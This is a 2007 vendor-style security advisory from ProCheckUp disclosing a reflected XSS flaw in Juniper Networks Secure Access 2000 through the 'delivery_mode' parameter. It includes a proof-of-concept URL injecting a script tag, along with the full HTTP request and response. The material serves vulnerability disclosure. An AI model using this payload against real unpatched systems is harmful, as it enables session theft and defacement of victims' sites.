PR07-41: XSS on Juniper Networks Secure Access 2000

Vulnerability found: 6th December 2007

Vendor informed: 12th December 2007

Severity: Medium-high

Description:

Juniper Networks Secure Access 2000 is vulnerable to a vanilla XSS.

Vulnerable server-side script: '/dana-na/auth/rdremediate.cgi'

Unfiltered parameter: 'delivery_mode'

Successfully tested on: Juniper Networks Secure Access 2000 (SA-2000) 
5.5R1 (build 11711)

Proof of concept:

https://target-domain.foo/dana-na/auth/rdremediate.cgi?delivery_mode=</A
PPLET><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&action=tryag
a

in&signinId=url_default

Consequences:

An attacker may be able to cause execution of malicious scripting code 
in the browser of a victim user who clicks on a link to a Juniper 
Networks Secure Access site. Such code would run within the security 
context of the target domain.

This type of attack can result in non-persistent defacement of the 
target site, or the redirection of confidential information (i.e.: admin 
session IDs) to unauthorised third parties.

Fix:

Juniper Networks was aware of this issue which they addressed on version 
5.5R3. However, we decided to release this advisory due to lack of 
information regarding this vulnerability in the public domain.

References:

http://www.procheckup.com/Vulnerabilities.php
http://www.juniper.net/products_and_services/ssl_vpn_secure_access/secur
e_access_2000/

Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)

COMPLETE HTTP REQUEST:

GET 
/dana-na/auth/rdremediate.cgi?delivery_mode=</APPLET><SCRIPT>alert('Can%
20Cross%20Site%20Attack')</SCRIPT>&action=tryagain&signinId=url_default 
HTTP/1.1
User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4 
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
Host: target-domain.foo
Accept: */*
[CRLF]
[CRLF]

PARTIAL HTTP RESPONSE:

<title></title>

[SNIP]

<APPLET id=NeoterisSetup > Unknown deliver mode 
</APPLET><SCRIPT>alert('Can Cross Site Attack')</SCRIPT>
<PARAM NAME="Parameter0" VALUE="action=tryagain"></APPLET>

Legal:

Copyright 2008 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the 
Internet community for the purpose of alerting them to problems, if and 
only if, the Bulletin is not edited or changed in any way, is attributed 
to Procheckup, and provided such reproduction and/or distribution is 
performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not 
liable for any misuse of this information by any third party.